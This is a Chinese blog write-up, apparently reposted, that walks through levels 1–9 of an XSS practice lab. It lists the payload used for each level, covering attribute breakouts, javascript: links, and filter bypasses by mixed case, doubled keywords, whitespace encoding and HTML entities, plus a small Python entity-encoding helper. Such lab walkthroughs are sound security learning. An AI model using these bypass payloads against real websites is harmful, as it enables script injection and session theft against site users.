XSS挑战之旅(1-9)
文章目錄
- 環(huán)境搭建
- 第一關(guān)
- 第二關(guān)
- 第三關(guān)
- 第四關(guān)
- 第五關(guān)
- 第六關(guān)
- 第七關(guān)
- 第八關(guān)
- 第九關(guān)
環(huán)境搭建
XSSlab的搭建很簡單,下載好壓縮包,解壓到phpstudy的WWW目錄下即可訪問。
源碼下載(t8t7)
如果不想自己搭建的話,網(wǎng)上有很多搭建好的可以直接測試,比如:
https://xss.angelo.org.cn
前幾關(guān)還是比較水的,直接把做題過程記錄下來好了。。。
第一關(guān)
如圖所示,第一關(guān)展示的是我們可以通過url中的?name參數(shù),向網(wǎng)站提交數(shù)據(jù),然后返回到頁面上。
那么直接試一下把name的值提交成彈框。
level1.php?name=<script>alert(1)</script>成功通關(guān)!!!
第二關(guān)
第二關(guān)是可以在輸入框中輸入一個數(shù)據(jù)提交給服務(wù)器,然后提交的數(shù)據(jù)是會被顯示到頁面上的。
此時再使用第一關(guān)的payload已經(jīng)是不行了??匆幌略创a:
在這里,提交的scirpt被當(dāng)作頁面的內(nèi)容和value的值處理了,因此沒有形成html結(jié)構(gòu)被瀏覽器執(zhí)行。
這里有兩種通關(guān)思路:
嘗試一下閉合value,然后構(gòu)造一個script標(biāo)簽進去。
在輸入框中輸入以下代碼:
這樣,原本的頁面結(jié)構(gòu)就會變成
<input name=keyword value=""><script>alert(1)</script><"">從而再瀏覽器加載的時候執(zhí)行彈窗。
也可構(gòu)造一個點擊事件:
" οnclick="alert(1)這樣頁面結(jié)構(gòu)同樣會改動
<input name=keyword value="" onclick="alert(1)">依舊可以實現(xiàn)彈框。
第三關(guān)
先輸入一個<script>alert(1)</script>看看效果,
通過源碼可以看到,輸入的<被html實體代替了,因此不會被當(dāng)作頁面結(jié)構(gòu)處理。但是可以通過閉合的方式構(gòu)造點擊事件。
payload:
' οnclick='alert(1)第四關(guān)
第四關(guān)是過濾掉了尖括號,無法構(gòu)造新的標(biāo)簽。但是依然可以原本的標(biāo)簽中添加onclick屬性。
" οnclick="alert(1)第五關(guān)
上來就是一個" onclick="alert(1)輸進去,看看效果,發(fā)現(xiàn)沒有彈框,看源碼!!
這里的onclick被改成了o_nclick。。。。
那么網(wǎng)站可能是會自動識別onclick這個字眼;輸入"><script>alert(1)</script><"時,結(jié)果是script被改為了scr_ipt。
遇到這種檢測機制,首先想到的就是大小寫繞過,試一了一下,發(fā)現(xiàn)不可以。
既然無法新增script標(biāo)簽和為已有標(biāo)簽增添事件。那么可以嘗試一下html的其他標(biāo)簽–a標(biāo)簽。
"> <a href=javascript:alert(1)><"將以上內(nèi)容輸入以后,會得到下圖效果
點一下就會彈框通關(guān)。
第六關(guān)
這一關(guān)和之前的第五關(guān)一樣,會識別onclick,href等關(guān)鍵字,然后進行改寫。
但是這一關(guān)可以使用大小寫混寫繞過。
或者添加一個a標(biāo)簽(仍需要混寫href繞過檢測)
"> <a hRef=javascript:alert(1)>第七關(guān)
第七關(guān)會對一些關(guān)鍵字進行識別,然后刪除,比如<a href>會被改成<a>。
對于這種防御機制,常用的方法就是雙寫繞過。
比如網(wǎng)站會識別script,我們就將其構(gòu)造成scscriptript提交,通過網(wǎng)站的刪除后,就會變成script;從而達(dá)到注入效果。
這一關(guān)會刪除on,那么我們用如下方法繞過:
" oonnclick="alert(1)或者雙寫a標(biāo)簽中的href通關(guān)
"><a hrhrefef=javascripscriptt:alert(1)>或者雙寫構(gòu)造新的script通關(guān)。
"><scscriptript>alert(1)</scriscriptpt>第八關(guān)
輸入" onclick="alert(1)測試并查看源代碼。
可以看到,這里的引號被實體代替了。因此無法使用引號構(gòu)造閉合,但是網(wǎng)頁提供了a標(biāo)簽,并且輸入的內(nèi)容會被賦值給a標(biāo)簽的href屬性,那么我們可以在href中插入javascript:alert(1)實現(xiàn)彈框。
直接輸入javascript:alert(1)發(fā)現(xiàn)script會被識別改寫,并且大小寫繞過也不行。
那么可以使用單詞中間摻雜空白字符的方法,妨礙后端識別指定單詞。
| 制表 | %09 |
| 換行 | %0a |
| 退格 | %08 |
注:摻雜以上url編碼的payload要提交到瀏覽器的地址欄才能生效。
level8.php?keyword=javascr%09ipt%3Aalert(1)&submit=添加友情鏈接還有一種方法可以使用提交框進行注入:	
把	插入到關(guān)鍵字之中,如下:
發(fā)現(xiàn)網(wǎng)上還有一種解決方案:
利用HTML實體編號進行繞過。
可以將javascript:alert(1)編碼成
javascript:alert(1)
這樣后端php不會對其進行改寫,但是用戶瀏覽器會將這些編碼進行翻譯,從而轉(zhuǎn)換為javascript:alert(1)彈框。
這里是大佬寫的函數(shù)(本人稍作修改):
def unicodeHtml(orgCode):fin = ';'.join('&#{}'.format(ord(x)) for x in orgCode)return fin第九關(guān)
這一關(guān)和地八關(guān)的防護機制基本相同,思路同樣是在a標(biāo)簽的href中進行注入。但是,此處對于href又添加了一個檢測機制。
我們還拿上一關(guān)的javascr	ipt:alert(1)檢測發(fā)現(xiàn),頁面會提示我們輸入的鏈接不合法。
這是因為后臺會檢測是否有http://字段,但是如果把http://和javascr	ipt:alert(1)直接構(gòu)造在一起,彈框就無效了。因此需要把http://注釋掉,這樣后臺依然能夠檢測到http://而又不會影響javascr	ipt:alert(1)的彈框。
javascr	ipt:alert(1) // http://總結(jié)
以上是生活随笔為你收集整理的XSS挑战之旅(1-9)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: python两列时间间隔计算器_pyth
- 下一篇: Mybatis方法入参处理